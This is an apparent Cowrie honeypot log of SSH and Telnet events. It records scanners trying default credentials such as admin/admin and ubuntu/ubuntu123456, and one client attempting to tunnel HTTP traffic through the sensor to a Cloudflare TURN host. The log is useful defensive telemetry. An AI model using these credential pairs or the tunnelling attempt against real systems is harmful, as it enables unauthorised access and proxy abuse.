{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1e:fc:48:8a:73:c6:00:8a:5f:d0:74:bb:4b:b5:74:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCpK4JY97yrO0JGiLroYd7KIU98SmisN2ioh8GSWmGEy5dY8/fu8fUa5xZQeUqpp9TEVPEj9Rfb5BBFh+u7DDleSIAtN2VdEmKpH1obWG6D2aFzDjZjljPKqc1lsCWybJm0MNMD1YNdtFi2HhB1Ir1qBLtnHFSCOYsiMtwB3IE+pNaBAkwbMbe9g88PM24HoCfS+2w+iYj5qUVN8gtv7KG3EWZtL8csNkR2UJjU2akvke4fMYNiD1NlaISBPrvT1hdptjR94VwFEK28QGM3a3trCYrgCFQ7jHC/+mZ7ne45hXdVLxLAu5kSD+PQH/YusHIRqcXQaxYQ0nZTWVsi0VhsSZjI04qNsGg6Z1uOHKf5LtZlnTIqQ1R78nDj3A0/14f962D2oEqXgSWJNIVIRk0ImazHrC/Rqvq/9hP9QfoU5c2mYXPupQKzD9sjgP0HkNu+WHJPBYoIg0ZF3UM37peojuU1WEfJRjeI/GlOXtk+7MnBnl1fXe2wCIZEWUsYtSSA74MzsCyoH+5xlUPMya12YKpRlyXYRj9fb7MWiiEvUGphzQqk+vUyEenjKQqIidAuFLC5RLjUy+gkuv6+nnzc3V2mVctLibK7w5rxkuOIXVg2SF0Dbq2DbuD4JWEfyeOdVd4fRJOgDBTOtwdmYqM5CJ7E2V+nSDAUWsjmhfxx4Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1e:fc:48:8a:73:c6:00:8a:5f:d0:74:bb:4b:b5:74:da","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:47.142850Z","src_ip":"107.170.247.81","session":"aa4e52b94835","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1e:fc:48:8a:73:c6:00:8a:5f:d0:74:bb:4b:b5:74:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCpK4JY97yrO0JGiLroYd7KIU98SmisN2ioh8GSWmGEy5dY8/fu8fUa5xZQeUqpp9TEVPEj9Rfb5BBFh+u7DDleSIAtN2VdEmKpH1obWG6D2aFzDjZjljPKqc1lsCWybJm0MNMD1YNdtFi2HhB1Ir1qBLtnHFSCOYsiMtwB3IE+pNaBAkwbMbe9g88PM24HoCfS+2w+iYj5qUVN8gtv7KG3EWZtL8csNkR2UJjU2akvke4fMYNiD1NlaISBPrvT1hdptjR94VwFEK28QGM3a3trCYrgCFQ7jHC/+mZ7ne45hXdVLxLAu5kSD+PQH/YusHIRqcXQaxYQ0nZTWVsi0VhsSZjI04qNsGg6Z1uOHKf5LtZlnTIqQ1R78nDj3A0/14f962D2oEqXgSWJNIVIRk0ImazHrC/Rqvq/9hP9QfoU5c2mYXPupQKzD9sjgP0HkNu+WHJPBYoIg0ZF3UM37peojuU1WEfJRjeI/GlOXtk+7MnBnl1fXe2wCIZEWUsYtSSA74MzsCyoH+5xlUPMya12YKpRlyXYRj9fb7MWiiEvUGphzQqk+vUyEenjKQqIidAuFLC5RLjUy+gkuv6+nnzc3V2mVctLibK7w5rxkuOIXVg2SF0Dbq2DbuD4JWEfyeOdVd4fRJOgDBTOtwdmYqM5CJ7E2V+nSDAUWsjmhfxx4Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:47.147030Z","src_ip":"107.170.247.81","session":"aa4e52b94835","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:47.218902Z","src_ip":"107.170.247.81","session":"aa4e52b94835","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":59008,"dst_ip":"159.203.135.109","dst_port":22,"session":"84c97d655ed6","protocol":"ssh","message":"New connection: 31.40.204.166:59008 (159.203.135.109:22) [session: 84c97d655ed6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:48.009337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:48.013407Z","src_ip":"31.40.204.166","session":"84c97d655ed6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:48.196050Z","src_ip":"31.40.204.166","session":"84c97d655ed6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu123456","message":"login attempt [ubuntu/ubuntu123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:48.914176Z","src_ip":"31.40.204.166","session":"84c97d655ed6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:50.097653Z","src_ip":"31.40.204.166","session":"84c97d655ed6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:50.847285Z","src_ip":"176.65.139.118","session":"8575d581fa50","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:50.899485Z","src_ip":"176.65.139.118","session":"8575d581fa50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47484,"dst_ip":"10.17.0.5","dst_port":23,"session":"577236f1b9f8","protocol":"telnet","message":"New connection: 152.42.224.71:47484 (10.17.0.5:23) [session: 577236f1b9f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:52.710061Z"}
{"eventid":"cowrie.session.closed","duration":13.974616527557373,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:53.101048Z","src_ip":"152.42.224.71","session":"fb2d4a8a45bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.878161430358887,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:53.432083Z","src_ip":"152.42.224.71","session":"b85bfe344a21","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","size":304,"shasum":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","duplicate":true,"duration":"2.7","message":"Closing TTY Log: var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:53.620795Z","src_ip":"176.65.139.118","session":"8575d581fa50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.15914249420166,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:53.634176Z","src_ip":"176.65.139.118","session":"8575d581fa50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":59600,"dst_ip":"10.17.0.5","dst_port":22,"session":"75922e9b62a0","protocol":"ssh","message":"New connection: 45.148.10.121:59600 (10.17.0.5:22) [session: 75922e9b62a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:53.639912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:53.645418Z","src_ip":"45.148.10.121","session":"75922e9b62a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":58000,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc055a275798","protocol":"telnet","message":"New connection: 176.65.139.118:58000 (159.203.135.109:23) [session: fc055a275798]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:53.699629Z"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:53.729716Z","src_ip":"45.148.10.121","session":"75922e9b62a0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:53.985024Z","src_ip":"45.148.10.121","session":"75922e9b62a0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:54.072333Z","session":"75922e9b62a0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:54.157828Z","src_ip":"45.148.10.121","session":"75922e9b62a0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:54.161849Z","src_ip":"45.148.10.121","session":"75922e9b62a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:54.248913Z","src_ip":"45.148.10.121","session":"75922e9b62a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":59610,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd9be53bd188","protocol":"ssh","message":"New connection: 45.148.10.121:59610 (10.17.0.5:22) [session: bd9be53bd188]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:54.331734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:54.389625Z","src_ip":"45.148.10.121","session":"bd9be53bd188","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:54.421369Z","src_ip":"45.148.10.121","session":"bd9be53bd188","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47494,"dst_ip":"10.17.0.5","dst_port":23,"session":"05e9b3fc03b1","protocol":"telnet","message":"New connection: 152.42.224.71:47494 (10.17.0.5:23) [session: 05e9b3fc03b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:54.433110Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:54.751262Z","src_ip":"45.148.10.121","session":"bd9be53bd188","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:54.840322Z","session":"bd9be53bd188","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:54.928848Z","src_ip":"45.148.10.121","session":"bd9be53bd188","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:54.933389Z","src_ip":"45.148.10.121","session":"bd9be53bd188","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:55.023183Z","src_ip":"45.148.10.121","session":"bd9be53bd188","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.13880729675293,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:57.838343Z","src_ip":"176.65.139.118","session":"fc055a275798","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":39912,"dst_ip":"159.203.135.109","dst_port":23,"session":"aceaf1a028c8","protocol":"telnet","message":"New connection: 176.65.139.118:39912 (159.203.135.109:23) [session: aceaf1a028c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:58.225863Z"}
{"eventid":"cowrie.session.closed","duration":120.00156259536743,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:58.455414Z","src_ip":"152.42.224.71","session":"6da4b6b0fe83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":36234,"dst_ip":"159.203.135.109","dst_port":22,"session":"e87f25d08c51","protocol":"ssh","message":"New connection: 31.40.204.166:36234 (159.203.135.109:22) [session: e87f25d08c51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:59.588212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:59.721279Z","src_ip":"31.40.204.166","session":"e87f25d08c51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:59.725957Z","src_ip":"31.40.204.166","session":"e87f25d08c51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nobody","password":"nobody","message":"login attempt [nobody/nobody] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:00.411054Z","src_ip":"31.40.204.166","session":"e87f25d08c51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:01.701611Z","src_ip":"31.40.204.166","session":"e87f25d08c51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.63624954223633,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:05.575197Z","src_ip":"152.42.224.71","session":"3322fbdfc5fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34392,"dst_ip":"10.17.0.5","dst_port":23,"session":"46039ed697b1","protocol":"telnet","message":"New connection: 152.42.224.71:34392 (10.17.0.5:23) [session: 46039ed697b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:05.905132Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34418,"dst_ip":"10.17.0.5","dst_port":23,"session":"99eff6a0e3de","protocol":"telnet","message":"New connection: 152.42.224.71:34418 (10.17.0.5:23) [session: 99eff6a0e3de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:08.363255Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34402,"dst_ip":"10.17.0.5","dst_port":23,"session":"863e0ad3b4b6","protocol":"telnet","message":"New connection: 152.42.224.71:34402 (10.17.0.5:23) [session: 863e0ad3b4b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:08.378639Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34426,"dst_ip":"10.17.0.5","dst_port":23,"session":"d23d46f0698c","protocol":"telnet","message":"New connection: 152.42.224.71:34426 (10.17.0.5:23) [session: d23d46f0698c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:10.299865Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":38324,"dst_ip":"159.203.135.109","dst_port":22,"session":"ecf8845f1886","protocol":"ssh","message":"New connection: 31.40.204.166:38324 (159.203.135.109:22) [session: ecf8845f1886]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:12.584753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:12.595094Z","src_ip":"31.40.204.166","session":"ecf8845f1886","protocol":"ssh"}
